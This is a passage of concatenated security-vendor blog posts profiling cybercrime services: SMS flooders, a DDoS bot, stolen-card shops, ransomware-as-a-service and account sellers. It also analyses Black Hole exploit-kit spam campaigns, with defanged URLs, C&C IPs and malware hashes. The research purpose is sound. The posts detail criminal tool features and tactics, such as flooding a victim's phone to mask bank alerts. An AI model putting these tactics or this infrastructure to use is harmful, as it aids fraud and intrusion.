This service is a great example of a concept called “malicious economies of scale”. Thanks to the purchase automation of fraudulently obtained assets, next to a fully working affiliate network, the cybercriminals behind the service demonstrate a decent understanding of the monetization tactics applied by fellow cybercriminals.

We’ll continue monitoring the development of the service.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Russian cybercriminals release new DIY SMS flooder - Webroot Blog

facebook linkedin twitter

Just like in every market, in the underground ecosystem demand too, meets supply on a regular basis.

Thanks to the systematically released **DIY SMS flooding applications** , cybercriminals have successfully transformed this market segment into a growing and professionally oriented niche market. From the active abuse of the features offered by legitimate infrastructure providers such as **ICQ** and **Skype** , to the abuse of Web-based SMS sending gateways, cybercriminals continue developing and releasing point'n'click DIY SMS flooding tools.

In this post, I'll profile one of the most recently released DIY SMS flooders, this time relying on 23 publicly available SMS-sending Web services, primarily located in Russia.

More details:

Sample screenshot of the recently released DIY Russian SMS Flooder:

According to the original advertisement, the DIY SMS flooder supports 23 different servers, which are primarily Web-based free SMS sending gateways. It can also be controlled using an ICQ bot, and it also has the capability to simultaneously flood multiple mobile numbers at the same time. The ad is also emphasizing on the fact that these servers don't require a registration, and that they can process an unlimited number of SMS messages.

It's also worth pointing out that the author of the application is offering 200 free SMS messages for testing purposes, before a prospective customer purchases the application. The price? 20 WMZ (WebMoney currency) which includes free and periodic updates of the servers list.

We'll continue monitoring the development of the application.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New Russian DIY DDoS bot spotted in the wild - Webroot Blog

facebook linkedin twitter

Over the last couple of years, the **modular and open source nature** of today's modern DDoS (distributed denial of service) bots inevitably resulted in the rise of the **DDoS for hire** and **DDoS extortion** monetization schemes within the cybercrime ecosystem.

These maturing business models require constant innovation on behalf of the cybercriminals providing the easy to use and manage DIY DDoS bots, the foundation of these business models. What are some of the latest developments in this field? Are the malware coders behind these releases actually innovating, or are they basically re-branding old malware bots and reintroducing them on the market? Let's find out.

In this post, I'll profile a recently released DIY DDoS bot, which according to its author is a modification of the **Dirt Jumper DDoS bot** .

More details:

Sample screenshot of the command and control interface of the Russian DIY DDoS Bot:

The bot supports SYN flooding, HTTP flooding, POST flooding and the special Anti-DDoS protection type of flooding. It has also built-in anti-antivirus features allowing it avoid detection by popular host-based firewalls, next to a feature allowing it do detect and remove competing malware bots from the system, preserving its current state for the users of the bot. Moreover, according to its author, it will not work under a virtual machine preventing potential analysis of the malicious binaries conducted by a malware researcher.

Another interesting feature is the randomization of the HTTP requests using multiple user-agents in an attempt to trick anti-DDoS protection on the affected hosts. Apparently, the coder behind this malware bot, claims to have the source code of the Dirt Jumper DDoS kit, which we cannot verify for the time being given the fact that the source code for this bot isn’t currently circulating in the wild, and that there are zero advertisements within the cybercrime ecosystem offering to sell access to it.

Related posts:

A peek inside the Darkness (Optima) DDoS Bot A peek inside the Cythosia v2 DDoS Bot A peek inside the uBot malware bot A peek inside the Smoke Malware Loader A peek inside the PickPocket Botnet A peek inside the Umbra malware loader

We’ll continue monitoring the development of this DIY DDoS bot.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

From Russia with iPhone selling affiliate networks - Webroot Blog

facebook linkedin twitter

With **affiliate networks** continuing to represent among the few **key growth factors** of the cybercrime ecosystem, it shouldn't be surprising that cybercriminals continue introducing new services and goods with questionable quality and sometimes unknown origins on the market, with the idea to entice potential network participants into monetizing the traffic they can deliver through black hat SEO (Search Engine Optimization), malvertising, and spam campaigns.

In this post, I'll profile a recently launched affiliate network selling iPhones that primarily targets Russian-speaking customers, and emphasizes the traffic acquisition scheme used by one of the network's participants.

More details:

In my line of work, there's a saying that "*you are where you advertise.* "

Despite the fact that your TOS (Terms of Service) may explicitly prohibit the use of black hat SEO (search engine optimization), which on the majority of occasions relies on compromised Web shells, next to good old fashioned spamming, coming across multiple advertisements on cybercrime-friendly forums speaks for itself – you're not endorsing, but tolerating such traffic-boosting practices.

Which is the case for the iPhones selling affiliate network I'm about to profile in this post.

It all starts with a spam campaign offering brand new iPhones for a decent price in an attempt by one of the network participants to acquire traffic which will ultimately convert into sales.

Sample spamvertised email offering cheap and easy-to-obtain iPhones:

What we've got here is an example of an affiliate network participant targeting English-speaking users, even though the actual web site is targeting Russian-speaking users. Interested in taking a peek inside the iPhones selling affiliate network? Keep reading.

Sample screenshot of the entry page for the iPhone selling affiliate network:

Second screenshot offering an inside peek into the iPhone selling affiliate network:

Third screenshot offering an inside peek into the iPhone selling affiliate network:

Fourth screenshot offering an inside peek into the iPhone selling affiliate network:

Fifth screenshot offering an inside peek into the iPhone selling affiliate network:

Sixth screenshot offering an inside peek into the iPhone selling affiliate network:

Seventh screenshot offering an inside peek into the iPhone selling affiliate network:

Eighth screenshot offering an inside peek into the iPhone selling affiliate network:

Ninth screenshot showcasing a sample landing page:

Tenth screenshot showcasing a sample landing page:

We advise bargain hunters to avoid clicking on links found in spam emails, avoid entering their credit card details on sites found in spam emails, and to avoid purchasing any kind of item promoted in these emails.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New E-shop selling stolen credit cards data spotted in the wild - Webroot Blog

facebook linkedin twitter

What happens once a cybercriminal has managed to obtain access to your credit card data by either compromising an insecure database, or through crimeware dropped on an affected host? Would he purchase **blank plastic and holograms** and embed the stolen data in an attempt to cash out as much money as possible, or would he look for alternative “risk forwarding” tactics to earn revenue while preserving his security and anonymity in the process?

It depends on the cybercriminal in question. In this post, I’ll profile a recently launched E-shop offering complete access to stolen credit cards data primarily belonging to U.S citizens.

More details:

Sample screenshot of a forum advertisement promoting the service:

Once prospective cybercriminals register at the service, they’re exposed to a visually appealing menu:

Related resources: If you’re interested in knowing more about the market for stolen credit cards data, consider going through my research “**Exposing the Market for Stolen Credit Cards Data** ” published on October 31st, 2011.

Sample stolen credit card databases available to prospective customers:

As you can see in the above screenshot, the service is currently offering 9,132 stolen credit cards for sale, and has already managed to sell 3292 credit cards to prospective cybercriminals. What’s the going rate for a sample stolen credit card? Depends on whether the card is debit or credit.

Sample listing of currently available stolen credit card details:

The prices vary based on the type of credit card. Debit cards go for a static $16, and credit cards go for a static $30 per item, with the service promising discounts for bulk purchases.

The service is also offering a well-developed search engine, allowing potential cybercriminals to better find what they're looking for. A logical question emerges when you take into consideration the static prices for the stolen credit cards. Just like in a previous case of a **vendor of compromised accounts** selling a stolen credit card with a balance of $6,000 for $135, in this case we also have static prices for a dynamic asset whose actual account balance may be in the thousands. Why would a cybercriminal sell access to a stolen credit card details for such a low price, given that the actual balance of card may outpace his original price a thousand times?

Pretty simple. The practice is called "risk forwarding" which intersects with the E-shop's owner desire to achieve instant financial liquidity of his assets. Instead of manually verifying the balance of the cards, he's focused on bulk orders and forwarding the risk of getting caught to the prospective customers of his services.

We'll continue monitoring the development of the service.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

A peek inside a boutique cybercrime-friendly E-shop - part four - Webroot Blog

facebook linkedin twitter

Over the past couple of **months** , I've been periodically profiling the **monetization tactics** applied by **novice cybercriminals** , a market segment of less technically sophisticated individuals looking for ways to cash out on their fraudulent Web activities.

The rise of this market segment can be contributed to the rise of managed cybercrime-friendly services and DIY tools, allowing everyone an easy entry into the world of cybercrime.

In this post, I'll profile yet another recently launched cybercrime-friendly E-shop, and emphasize the emergence of these over-the-counter (OTC) trading E-shops.

More details:

Sample screenshots of the boutique cybercrime-friendly E-shop:

As you can see in the above screenshot, the novice cybercriminals are currently listing 22 fraudulently obtained items for sale. Selling items including compromised email accounts, compromised FTP accounts and Linux shells, the individual behind this E-shop is actively looking for ways to monetize the fraudulently obtained assets.

What makes an impression in comparison to the previously profiled boutique cybercrime-friendly E-shops, is that all the novice cybercriminals rely on the same E-shop module. This standardization inevitably leads to efficient monetization models, as long as the shop's owner continues to supply a steady flow of new assets. Which is exactly what I'm not seeing. For instance, the three previously profiled E-shops are now gone, and their authors are no longer advertising their presence at selected cybercrime-friendly communities. Why? Their immature business models, lack of periodic inventory updates, and relatively modest inventories, result in small interest in their underground market propositions.

In comparison, sophisticated cybercriminals rely on affiliate networks, franchise models, market segmentation, price discrimination, and generally avoid monetizing commodity underground items in an attempt to differentiate their underground market proposition and gain more market share, resulting in a recognized and trusted brand name, a respected vendor serving a specific market niche.

We'll continue monitoring this emerging market segment.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Managed Ransomware-as-a-Service spotted in the wild - Webroot Blog

facebook linkedin twitter

Over the past several quarters, we’ve witnessed the rise of the so called **Police Ransomware** also known as Reveton.

From fully working host lock down tactics, to localization in multiple languages and impersonation of multiple international law enforcement agencies, its authors proved that they have the means and the motivation to continue developing the practice, while earning tens of thousands of fraudulently obtained funds.

What’s driving the growth of Police Ransomware? What’s the current state of this market segment? Just how easy is it to start distributing Police Ransomware and earn fraudulently obtained funds in between?

In this post, I’ll profile a recently advertised DIY (do-it-yourself) managed voucher-based Police Ransomware service exclusively targeting European users, and for the first time ever, offer an inside peek into its command and control interface in order to showcase the degree of automation applied by the cybercriminals behind it.

More details:

Sample underground forum advertisement of the managed DIY Police Ransomware service:

According to the advertisement, the actual malicious executable is both x32 and x64 compatible, successfully blocking system keys and other attempts to kill the malicious application. The cybercriminals behind the managed service have already managed to localize their templates in the languages of 13 prospective European countries such as Switzerland, Greece, France, Sweden, Netherlands, Italy, Poland, Belgium, Portugal, Finland, Spain, Germany, and Austria.

The price for the service? $1,000 on a monthly basis for a managed, bulletproof command and control infrastructure.

Just how sophisticated is the command and control interface? Let’s take a closer look into a sample command and control screenshots released by the cybercriminals behind the service in order to demonstrate its usefulness.

Sample screenshot of the DIY managed Ransomware-as-a-service command and control interface:

As you can see in the attached screenshot, thousands of users are being successfully infected with the ransomware variants, with the command and control service capable of displaying statistics for the affected countries, and the operating system in use by the affected parties.

Second sample screenshot of the DIY managed Ransomware-as-a-service command and control interface:

The managed service relies primarily on the **Ukash voucher-based payment system** , and the command and control interface conveniently displays the voucher codes and their monetary value, allowing the users of the service an easy way to claim the money from the vouchers.

We’ll continue monitoring the development of the DIY managed ransomware service.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals impersonate FDIC, serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, cybercriminals started spamvertising millions of emails impersonating the Federal Deposit Insurance Corporation (FDIC), in an attempt to trick businesses into installing a bogus and non-existent security tool promoted in the emails. Upon clicking on the links, users are exposed to the client-side exploits served by the Black Hole Exploit Kit.

More details:

Sample screenshot of the spamvertised FDIC impersonating email:

Once the user clicks on the malicious link, he's exposed to the following bogus "Page loading..." page:

Screenshot of a sample Java script obfuscation:

Spamvertised malicious and compromised URLs: *hxxp://jiuzehui.com/achsec.html* ; *hxxp://www.incikolye.org/achsec.html* ; *hxxp://luciledufresne.fr/secupd.html*

Client-side exploits serving URL: *hxxp://afgreenwich.net/main.php?page=0f123fe645ddf8d7* – 203.91.113.6 (AS24559)

We've already seen the same IP used in the recently profiled "Spamvertised 'US Airways reservation confirmation' themed emails serve exploits and malware" campaign. Clearly, the FDIC campaign is using the same malicious infrastructure as the US Airways themed campaign.

Client-side exploits served: *CVE-2010-1885*

Detection rate for a sample Java script redirector: MD5: b72226f67ec59f3c7a7f2b970f04272f – detected by 8 out of 42 antivirus scanners as JS:Trojan.Crypt.HM

Upon successful client-side exploitation, the campaign drops **MD5: 3ce1ae2605aa800c205ef63a45ffdbfa** – detected by 16 out of 42 antivirus scanners as Trojan-Ransom.Win32.Gimemo.aovu; W32.Cridex

Once executed, it attempts to phone back to **72.167.253.106:8080/mx/5/B/in** (AS26496).

Responding to the same IP are also the following malicious command and control servers: dentistbook.info
indianfirends.com
indianpolitics.com
insomniacporeed.ru

More malicious URLs are known to have responded to the the same IP in the past, for instance: hxxp://outsourcingtoindiablog.com/look.html
hxxp://outsourcingtoindiablog.com/top.html
hxxp://outsourcingtoindiablog.com/stream.html
hxxp://indianfirends.com/main.php?s=homepage.index
hxxp://indianpolitics.org/main.php?s=homepage.index&ss=5
hxxp://sabdekho.com/signal.html

More MD5s are known to have phoned back to the same IP in the past, for instance: **MD5: 97974153c25baf5826bf441a8ab187a6** – detected by 16 out of 42 antivirus scanners as Trojan.Win32.Jorik.Zbot.fxq; Gen:Variant.Zusy.17989, and **MD5: 9069210d0758b34d8ef8679f712b48aa** – detected by 6 out of 42 antivirus scanners as Trojan.Winlock.6049; W32/Cridex.R

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'US Airways reservation confirmation' themed emails serve exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails impersonating U.S Airways, in an attempt to trick users into clicking on the malicious links found in the legitimately looking emails. Let’s dissect the malicious campaign, and expose its dynamics.

More details:

Sample screenshot of the spamvertised US Airways themed email:

Spamvertised compromised URL: *hxxp://raintree.on.ca/depdetails.html*

Sample client-side exploits serving URL: *hxxp://blue-lotusgrove.net/main.php?page=559e008e5ed98bf7* – 203.91.113.6 (AS24559); Email: verdadress@consultant.com

Sample client-side exploits served: *CVE-2010-1885*

Responding to the same IP 203.91.113.6 (AS24559), are also the following malicious domains: seneesamj.com
centennialfield.net
dushare.net
afgreenwich.net
bode-sales.net
cat-mails.net
nitor-solutions.net
gsigallery.net
atfood.ru
indyware.ru
citgbgmgrn.com

Detection rate for a sample Java script redirection: MD5: 5c5a3c6e91c1c948c735e90009886e37 – detected by 3 out of 42 antivirus scanners as Mal/Iframe-W

Upon successful client-side exploitation, the campaign drops **MD5: 9069210d0758b34d8ef8679f712b48aa** on the infected hosts, detected by 6 out of 42 antivirus scanners as Trojan.Winlock.6049; W32/Cridex.R

Upon execution, the sample phones back to **199.71.213.194:8080/mx/5/B/in/** (AS40676).

More MD5's are known to have phoned back to the same IP, for instance: MD5: 34cb2d621d61df32ae3ccf1e69007b8e
MD5: f621be555dc94a8a370940c92317d575
MD5: fd985d376b66af6e27a62ef91d7b0ce8

These MD5s also phone back to related command control servers part of the malicious campaign, such as:
173.224.208.60:8080
188.40.0.138:8080
192.220.87.172:8080
199.71.213.194:8080
200.108.18.158:8080
203.113.98.131:8080
203.172.140.202:8080
206.223.154.130:8080
219.255.134.110:8080
59.90.221.6:8080
66.242.19.36:8080
72.167.253.106:8080
72.18.203.140:8080
82.165.147.190:8080
83.238.208.55:8080
85.25.147.73:8080

The last time we intercepted **the same HTML template** being used in the wild, was in April 2012. Back then, we found an identical campaign structure between the US Airways themed campaign and the "**Spamvertised Verizon-themed 'Your Bill Is Now Available' emails lead to ZeuS crimeware** " ; "**Spamvertised LinkedIn notifications serving client-side exploits and malware** " campaigns, leading us to the conclusion that it's the same cybercriminal/gang of cybercriminals launching these attacks.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New Russian DIY SMS flooder using ICQ's SMS sending feature spotted in the wild - Webroot Blog

facebook linkedin twitter

In order to emphasize on the growing trend of cybercriminals abusing legitimate infrastructure for their malicious purposes, last week, I profiled a **DIY SMS flooder using Skype's SMS-sending capability** to launch a DoS (denial of service attack) against a user's mobile device.

This week, I'll continue providing factual evidence for the emergence of this trend, by profiling yet another recently released DIY SMS flooder, this time abusing **ICQ's sms-sending feature** .

More details:

Screenshot of the advertised DIY ICQ SMS Flooder:

The DIY tool starts by first requesting a list of compromised or automatically registered ICQ accounts, and their associated passwords. It then requires a text message and a valid mobile phone number. Based on the author's description of the tool, one ICQ account results in 5 SMS messages sent. What's particularly interesting about this tool is that, just like the DIY SMS Flooder abusing Skype's SMS-sending capability, this one also doesn't support the use of **anonymization proxies** , which can greatly contribute to a successful detection of multiple ICQ account log-ins through an identical IP.

The bad news? Users of the DIY SMS flooder are already requesting from the author to add Socks/Proxies support, and the ability to randomize the message in an attempt to prevent internal filtering on behalf of ICQ's Anti-Abuse team.

Why would a cybercriminal want to launch a DoS (denial of service attack) against a user's mobile device? On the majority of occasions, they would do so at just the right moment to prevent the user from receiving a legitimate SMS notification from their bank in the event there is a withdrawal from their banking account.

We’ll continue monitoring the development of the tool, and continue profiling related threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'Your Fedex invoice is ready to be paid now' themed emails lead to Black Hole Exploit kit - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, cybercriminals have launched yet another massive spam run, this time impersonating FedEx in an attempt to trick its customers into clicking on a malware and exploits-serving URL found in the malicious email.

More details:

Screenshot of the spamvertised email:

Screenshot of a sample Java script obfuscation:

Sample spamvertised URLs: *hxxp://www.minskcityguide.net/fedinv.html* ; *hxxp://blacklabelblogs.com/fedinv.html* , *hxxp://djl3.com/invdex.html* ; *hxxp://arconcommercialfunding.com/wp-content/uploads/fgallery/fedinv.html* ; *hxxp://greenbeltmo.org/fedinv.html* ; *hxxp://upturnbar.com.br/wp-content/uploads/fgallery/fedinv.html*

Sample client-side exploits serving URLs: *hxxp://studiomonahan.net/main.php?page=2bfd5695763b6536* (200.42.159.6, AS10481; 206.253.164.43, AS6921); *hxxp://gsigallery.net/main.php?page=2bfd5695763b6536* (208.91.197.54, AS40034)

Sample client-side exploits served: *CVE-2010-1885*

Responding to the same IPs is also the following malicious domain – **mi-argentina.net** .

Name servers part of the campaign's malicious infrastructure:
ns1.correctcomfort.net – 46.4.145.164, AS24940
ns1.correctcomfort.net – 67.23.237.108, AS33182
ns1.correctcomfort.net – 173.234.9.17, AS15003
ns1.correctcomfort.net – 184.154.103.253, AS32475

More malicious domains are using these name servers, such as, for instance: centennialfield.net
dushare.net
bowerystore.net
blue-lotusgrove.net
cat-mails.net
nitor-solutions.net
correctcomfort.net

Detection rate for a sample Java script redirector: **MD5: 32a74240c7e1a34a2a8ed8749758ef15** – detected by 8 by 41 antivirus scanners as JS/Iframe.FR; Trojan-Downloader.JS.Iframe.dbe; JS/Exploit-Blacole.hd

Upon successful client-side exploitation, the campaign drops **MD5: f9904f305de002ad5c0ad4b4648d0ca7** **–** detected by 23 out of 40 antivirus scanners as Trojan.Win32.Obfuscated.aopm; Worm:Win32/Cridex.E and **MD5: 0e2c968865d34c8570bb69aa6156b915** **–** detected by 24 out of 42 antivirus scanners as Worm.Win32.Cridex.jb

The first sample phones back to **195.111.72.46:8080/mx/5/B/in/** (AS1955) and to **87.120.41.155:8080/mx/5/B/in** (AS13147), and the second sample initiates DNS queries to **droppinlever.pro** ; **lambolp700tuning.ru** and it also produces TCP traffic to **146.185.220.32** on port 443, as well as to **192.5.5.241** again on port 443.

Deja vu! We've already seen numerous malicious campaigns phoning back one of these command and control servers, **87.120.41.155:8080/mx/5/B/in** in particular. Campaigns known to have also used the same C&C server:

Intuit themed 'QuickBooks Update: Urgent' emails lead to Black Hole exploit kit Spamvertised 'Wire Transfer Confirmation' themed emails lead to Black Hole exploit kit Spamvertised 'Fwd: Scan from a Hewlett-Packard ScanJet' emails lead to Black Hole exploit kit Spamvertised 'Federal Tax Payment Rejected' themed emails lead to Black Hole exploit kit Cybercriminals spamvertise bogus greeting cards, serve

exploits and malware Cybercriminals impersonate Intuit Market, mass mail millions of exploits and malware serving emails

Responding to 87.120.41.155 are also the following malicious C&C servers: cpokemnothviik.ru
insomniacporeed.ru

Related name servers part of the campaign's infrastructure:
ns1.cpokemnothviik.ru – 171.25.190.249, AS57683
ns2.cpokemnothviik.ru – 94.63.147.95
ns3.cpokemnothviik.ru – 171.25.190.250
ns4.cpokemnothviik.ru – 94.63.147.96

ns1.insomniacporeed.ru – 62.213.64.161, AS15756
ns2.insomniacporeed.ru – 85.214.204.32, AS6724
ns3.insomniacporeed.ru – 50.57.88.200, AS19994
ns4.insomniacporeed.ru – 184.106.189.124, AS19994
ns5.insomniacporeed.ru – 50.57.43.49

Responding to three of these IPS (85.214.204.32, 50.57.43.49 and 50.57.88.200 in particular) are also the following malicious domains, part of the campaign's infrastructure:
ciasamkbnavtknxiko.ru
jbznsadolgrgrlaewo.ru
kblqegxrumlsrefvmb.ru
kogirlsnotcryz.ru
lzngllvmrbwdcpha.ru
messagingonfloor.su
nolwzyzsqkhjkqhomc.ru
pokeronmep.ru
poluicenotgo.ru
qtdlnxbqfohcpwft.ru
validatoronmee.ru
vitalitysomer.ru
yhbyqwmrtqxvmpryon.ru
zvzjxbjwbgguucrbkr.ru
girlsnotcryz.ru
holigaansongeer.ru
immerialtv.ru
mazdaforumi.ru

paranoiknepjet.ru
piloramamoskow.ru
pistolitnameste.ru
puleneprobivaemye.ru
pushkidamki.ru
uzindexation.ru

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New Russian service sells access to thousands of automatically registered accounts - Webroot Blog

facebook linkedin twitter

What happens when a cybercriminal cannot efficiently gain access to **thousands of working accounts at popular Web services** , either through data mining a botnet's population, or through phishing campaigns?

He'll just start systematically abusing the legitimate services by automatically and efficiently registering thousands of bogus accounts, thanks to the easy to use **India based CAPTCHA-solving operations** .

In this post I'll profile a recently launched Russian based service, offering access to thousands of automatically registered accounts at popular Russian social networking sites, and free email services.

More details:

Sample screenshot of the service offering access to bogus automatically registered accounts across multiple Web services:

Second screenshot of the service offering access to bogus automatically registered accounts across multiple Web services:

Third screenshot of the service offering access to bogus automatically registered accounts across multiple Web services:

The service is publicly listing it's inventory of automatically registered accounts at some of Russia's most popular social networks, and free Web based email service providers. What's also worth pointing out is that the service is also offering a modest inventory of automatically registered GMail accounts, with the possibility to register thousands more if someone places an order.

The prices varying based on the number of accounts requested — the more accounts requested the cheaper it gets — are in Rubles, and the service only accepts Web Money.

Thanks to the easy to bypass CAPTCHA human verification process, we predict that we're going to see more services offering access to automatically registered bogus accounts. This does not necessarily mean that cybercriminals will stop aiming to access legitimate accounts, as compared to automatically registered ones, they will be in a perfect position to abuse the 'chain of trust' between the owner of a legitimate account and his trusted network of social contacts to further disseminate malware or related scams.

We'll continue monitoring the development of the service.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals abuse Skype's SMS sending feature, release DIY SMS flooders - Webroot Blog

facebook linkedin twitter

Cybercriminals are masters of abusing legitimate infrastructure for their malicious purposes. From phishing sites and Black Hole exploit kit landing URLs hosted on compromised servers, abuse of legitimate web email service providers' trusted **DKIM verified ecosystem** , to the systematic release of **DIY spamming tools** utilizing a publicly obtainable database of user names as potential "touch points", cybercriminals are on the top of their game.

In this post, I'll profile a recently advertised DIY SMS flooder using Skype's infrastructure for disseminating the messages, and assess the potential impact it could have on end and corporate users.

More details:

Sample screenshot of the advertised DIY Skype SMS flooding tool:

The DIY tool is available on selected cybercrime friendly communities for $20. It has the capability to send SMS messages to numbers in Russia, Ukraine, and Azerbaijan. It's taking advantage of the fact that every **Skype account with a positive balance** has the ability to send SMS messages. Once the spammer authenticates himself with a stolen Skype account, the tool will automatically start using the account's balance and flood the victim's cell phone number with multiple messages.

Does this tool represent an actual threat to Skype's users, or victims of the **SMS flooding attack** ? Thanks to the fact that it has the capability to use only one Skype account, it will have a limited impact on Skype's network, as well as on the device of a prospective victim. However, the tool is currently released as v 1.0, and the author can add support for multiple Skype accounts at any time, potentially multiplying the **SMS flooding effect** .

We’ll continue monitoring the development of the DIY tool.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals resume spamvertising bogus greeeting cards, serve exploits and malware - Webroot Blog

facebook linkedin twitter

Remember the recently profiled **123greetings.com themed malicious campaign** ?

It appears that over the past 24 hours, the cybercriminals behind it have resumed spamvertising millions of emails pointing to additional compromised URIs in a clear attempt to improve their click-through rates.

More details:

Sample screenshot of the spamvertised email:

Sample screenshot of the Java script redirection:

Sample spamvertised compromised URIs: *hxxp://sheregesh-nsk.ru/modules/mod_wp/capo.html* ; *hxxp://avto-optic.ru/modules/mod_wp/gree.html* ; *hxxp://anime-nsk.ru/modules/mod_wp/gree.html* ; *hxxp://115.47.73.66/gree.html* ; *hxxp://bjflm.cn/gree.html* ; *hxxp://qichepeijianwang.com/gree.html* ; *hxxp://avtodicki.ru/modules/mod_wp/capo.html*

Sample Black Hole exploit kit landing URL: *hxxp://monstercompanionsbonuses.info/main.php?page=18bd34ba262669f3*

Detection rate for a sample Java script redirection: MD5: 75e030e741875d29f12b179f2657e5fd – detected by 5 out of 42 antivirus scanners as Trojan.JS.Iframe.aby; Trojan.Webkit!html

Upon successful client-side exploitation, the campaign drops **MD5: 864e1dec051cbd800ed59f6f91554597** – detected by 3 out of 42 antivirus scanners as W32/Yakes.AP!tr

Once executed, the malware phones back to **216.38.12.158:8080/mx/5/B/in** (recipe.devrich.com, AS32181). Another domain is known to have been responding to the same IP in the past, namely, **hxxp://imanuilletapchenko.ru:8080/html/yveveqduclirb1.php**

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Intuit themed 'QuickBooks Update: Urgent' emails lead to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

It didn't take long before the cybercriminals behind the recently profiled **'Intuit Marketplace' themed campaign** resume impersonating Intuit, with a newly launched round consisting of millions of Intuit themed emails.

The theme this time? Convincing users that in order to access QuickBooks they would have to install the non-existent Intuit Security Tool. In reality though, clicking on the links points to a Black Hole exploit kit landing URL that ultimately drops malware on the affected hosts.

More details:

Screenshot of a sample spamvertised email:

Spamvertised malicious links: *hxxp://kriskemp.com/intsec.html* ; *hxxp://news-blogtv.ru/wp-content/uploads/fgallery/updint.html* ; *hxxp://vedrunag.pangea.org/updint.html*

Client-side exploits serving URL: *hxxp://roadmateremove.org/main.php?page=9bb4aab85fa703f5* – 89.248.231.122; 208.91.197.27

Responding to 89.248.231.122 are also the following client-side exploits serving domains: restoreairpowered.net
voodoopics.net
buildyoursafelist.net

Name servers part of the campaign's infrastructure: ns1.chemrox.net – 208.91.197.27; 173.234.9.17
ns2.chemrox.net – 7.25.179.23

Upon successful client-side exploitation, the campaign drops **MD5: f621be555dc94a8a370940c92317d575** – detected by 33 out of 42 antivirus scanners as Trojan.Win32.Buzus.Izeq; Worm:Win32/Cridex.E.

Once executed, the sample phones back to **87.120.41.155:8080/mx5/B/in** . We've already seen the same command and control IP used in the following previously profiled malicious campaigns:

